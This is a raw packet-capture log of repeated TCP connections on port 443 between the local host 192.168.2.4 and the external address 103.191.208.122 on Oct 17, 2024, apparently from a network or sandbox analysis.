Oct 17, 2024 10:47:16.142533064 CEST	57012	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:16.142810106 CEST	443	57012	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:16.142884970 CEST	57012	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:16.143364906 CEST	57012	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:16.144838095 CEST	57013	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:16.144896984 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:16.144974947 CEST	57013	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:16.145344019 CEST	57013	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:16.145356894 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.235901117 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.237934113 CEST	57013	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:17.237966061 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.608408928 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.608489037 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.608561993 CEST	57013	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:17.608586073 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.608642101 CEST	443	57013	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.608690977 CEST	57013	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:17.609306097 CEST	57013	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:17.610693932 CEST	57014	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:17.610727072 CEST	443	57014	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:17.610806942 CEST	57014	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:17.611084938 CEST	57014	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:17.611099958 CEST	443	57014	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:18.692162037 CEST	443	57014	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:18.694094896 CEST	57014	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:18.694125891 CEST	443	57014	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:19.056435108 CEST	443	57014	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:19.056478977 CEST	443	57014	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:19.056550026 CEST	57014	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:19.056560040 CEST	443	57014	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:19.056606054 CEST	57014	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:19.057528973 CEST	57014	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:19.059194088 CEST	57015	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:19.059245110 CEST	443	57015	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:19.059464931 CEST	57015	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:19.059849977 CEST	57015	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:19.059863091 CEST	443	57015	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.143306017 CEST	443	57015	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.145021915 CEST	57015	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.145035982 CEST	443	57015	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.507674932 CEST	443	57015	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.507709980 CEST	443	57015	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.507785082 CEST	443	57015	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.507783890 CEST	57015	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.507844925 CEST	57015	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.508624077 CEST	57015	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.510163069 CEST	57016	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.510219097 CEST	443	57016	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.510440111 CEST	57016	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.510746002 CEST	57016	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.510761023 CEST	443	57016	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.911959887 CEST	57016	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.913439989 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.913465023 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.913600922 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.913933039 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:20.913949013 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:20.959409952 CEST	443	57016	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:21.624914885 CEST	443	57016	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:21.624996901 CEST	57016	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.007800102 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.007903099 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.010216951 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.010229111 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.010605097 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.011910915 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.055452108 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.379285097 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.379318953 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.379405975 CEST	443	57017	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.379439116 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.379508018 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.384778023 CEST	57017	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.385943890 CEST	57018	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.386007071 CEST	443	57018	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:22.386090040 CEST	57018	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.386462927 CEST	57018	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:22.386493921 CEST	443	57018	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:23.451059103 CEST	443	57018	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:23.453048944 CEST	57018	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:23.453079939 CEST	443	57018	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:23.814142942 CEST	443	57018	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:23.814182997 CEST	443	57018	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:23.814265966 CEST	443	57018	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:23.814281940 CEST	57018	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:23.814323902 CEST	57018	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:23.814965010 CEST	57018	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:23.822396040 CEST	57019	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:23.822434902 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:23.822495937 CEST	57019	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:23.822760105 CEST	57019	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:23.822770119 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:24.914114952 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:24.915896893 CEST	57019	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:24.915925980 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:25.283598900 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:25.283637047 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:25.283693075 CEST	57019	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:25.283711910 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:25.283727884 CEST	443	57019	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:25.283766985 CEST	57019	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:25.284507990 CEST	57019	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:25.286396027 CEST	57020	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:25.286434889 CEST	443	57020	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:25.286504984 CEST	57020	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:25.286818027 CEST	57020	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:25.286828041 CEST	443	57020	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:26.369920969 CEST	443	57020	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:26.373099089 CEST	57020	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:26.373109102 CEST	443	57020	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:26.896924019 CEST	443	57020	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:26.896997929 CEST	443	57020	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:26.897111893 CEST	443	57020	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:26.897192001 CEST	57020	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:26.897192001 CEST	57020	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:26.897986889 CEST	57020	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:26.899171114 CEST	57021	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:26.899216890 CEST	443	57021	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:26.899389982 CEST	57021	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:26.899669886 CEST	57021	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:26.899683952 CEST	443	57021	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:27.993391991 CEST	443	57021	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:27.995889902 CEST	57021	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:27.995918036 CEST	443	57021	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:28.181149960 CEST	57021	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:28.181334019 CEST	443	57021	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:28.181412935 CEST	57021	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:28.183790922 CEST	57022	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:28.183828115 CEST	443	57022	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:28.183895111 CEST	57022	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:28.189152002 CEST	57022	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:28.189166069 CEST	443	57022	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:29.210383892 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:29.210385084 CEST	57022	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:29.210427046 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:29.210721016 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:29.211757898 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:29.211766005 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:29.255393982 CEST	443	57022	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:29.266706944 CEST	443	57022	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:29.266774893 CEST	57022	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:29.266788960 CEST	57022	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.314291000 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.314383030 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.319068909 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.319087982 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.319375038 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.323314905 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.363396883 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.692302942 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.692334890 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.692409039 CEST	443	57023	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.692425966 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.692462921 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.693236113 CEST	57023	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.694530010 CEST	57024	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.694571018 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:30.694663048 CEST	57024	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.694969893 CEST	57024	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:30.694982052 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:31.785502911 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:31.795953989 CEST	57024	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:31.795989990 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:32.222706079 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:32.222773075 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:32.222850084 CEST	57024	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:32.222870111 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:32.222923040 CEST	443	57024	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:32.223052025 CEST	57024	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:32.223601103 CEST	57024	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:32.224977970 CEST	57025	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:32.225087881 CEST	443	57025	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:32.225198984 CEST	57025	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:32.225466013 CEST	57025	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:32.225497007 CEST	443	57025	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:33.323421001 CEST	443	57025	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:33.326075077 CEST	57025	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:33.326126099 CEST	443	57025	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:33.694904089 CEST	443	57025	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:33.694977999 CEST	443	57025	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:33.695082903 CEST	57025	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:33.695110083 CEST	443	57025	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:33.695214987 CEST	57025	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:33.696793079 CEST	57025	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:33.705638885 CEST	57026	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:33.705718040 CEST	443	57026	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:33.705899000 CEST	57026	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:33.712141991 CEST	57026	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:33.712188005 CEST	443	57026	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:34.820606947 CEST	443	57026	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:34.823065042 CEST	57026	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:34.823131084 CEST	443	57026	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:35.192296982 CEST	443	57026	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:35.192348003 CEST	443	57026	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:35.192408085 CEST	57026	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:35.192425966 CEST	443	57026	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:35.192482948 CEST	57026	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:35.193592072 CEST	57026	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:35.195035934 CEST	57027	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:35.195082903 CEST	443	57027	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:35.195357084 CEST	57027	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:35.195672035 CEST	57027	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:35.195689917 CEST	443	57027	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:36.291130066 CEST	443	57027	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:36.293361902 CEST	57027	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:36.293395042 CEST	443	57027	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:36.662292957 CEST	443	57027	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:36.662317991 CEST	443	57027	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:36.662384033 CEST	443	57027	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:36.662440062 CEST	57027	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:36.662672043 CEST	57027	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:36.663295031 CEST	57027	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:36.664978027 CEST	57028	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:36.665009975 CEST	443	57028	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:36.665097952 CEST	57028	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:36.668991089 CEST	57028	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:36.669028997 CEST	443	57028	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:37.443111897 CEST	57028	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:37.445024014 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:37.445075989 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:37.445142031 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:37.445580959 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:37.445590973 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:37.487397909 CEST	443	57028	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:37.799957037 CEST	443	57028	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:37.800049067 CEST	57028	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.582499027 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.582613945 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.584919930 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.584925890 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.585510969 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.587222099 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.631391048 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.962038040 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.962071896 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.962145090 CEST	443	57029	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.962146044 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.962229967 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.962840080 CEST	57029	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.964086056 CEST	57030	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.964114904 CEST	443	57030	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:38.964225054 CEST	57030	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.964530945 CEST	57030	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:38.964540958 CEST	443	57030	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:40.076543093 CEST	443	57030	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:40.078733921 CEST	57030	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:40.078778028 CEST	443	57030	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:40.715521097 CEST	443	57030	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:40.715552092 CEST	443	57030	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:40.715607882 CEST	443	57030	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:40.715698957 CEST	57030	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:40.715698957 CEST	57030	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:40.716399908 CEST	57030	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:40.721012115 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:40.721048117 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:40.721210957 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:40.725013018 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:40.725024939 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:41.869940042 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:41.912887096 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:41.921366930 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:41.921380997 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:42.287808895 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:42.287843943 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:42.287851095 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:42.287919998 CEST	443	57031	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:42.288044930 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:42.288044930 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:42.288742065 CEST	57031	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:42.290051937 CEST	57032	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:42.290101051 CEST	443	57032	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:42.290173054 CEST	57032	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:42.290435076 CEST	57032	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:42.290443897 CEST	443	57032	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:43.403275967 CEST	443	57032	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:43.405201912 CEST	57032	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:43.405211926 CEST	443	57032	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:43.783647060 CEST	443	57032	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:43.783674955 CEST	443	57032	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:43.783726931 CEST	443	57032	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:43.783742905 CEST	57032	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:43.783885002 CEST	57032	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:43.784612894 CEST	57032	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:43.785634995 CEST	57033	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:43.785675049 CEST	443	57033	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:43.785861015 CEST	57033	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:43.786120892 CEST	57033	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:43.786132097 CEST	443	57033	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:44.891118050 CEST	443	57033	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:44.893599987 CEST	57033	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:44.893623114 CEST	443	57033	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.260754108 CEST	443	57033	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.260795116 CEST	443	57033	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.260857105 CEST	443	57033	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.260950089 CEST	57033	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.260950089 CEST	57033	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.261599064 CEST	57033	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.262896061 CEST	57034	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.262923002 CEST	443	57034	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.263156891 CEST	57034	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.263452053 CEST	57034	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.263459921 CEST	443	57034	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.661997080 CEST	57034	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.663780928 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.663836956 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.663949013 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.664293051 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:45.664314032 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:45.707406998 CEST	443	57034	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:46.383440971 CEST	443	57034	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:46.383527040 CEST	57034	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:46.797156096 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:46.797297001 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:46.799279928 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:46.799289942 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:46.799633980 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:46.801112890 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:46.843437910 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:47.183203936 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:47.183278084 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:47.183373928 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:47.183448076 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:47.183532953 CEST	443	57035	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:47.183868885 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:47.189730883 CEST	57035	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:47.190912962 CEST	57036	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:47.190956116 CEST	443	57036	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:47.192922115 CEST	57036	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:47.194215059 CEST	57036	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:47.194230080 CEST	443	57036	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:48.340744972 CEST	443	57036	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:48.342752934 CEST	57036	443	192.168.2.4	103.191.208.122
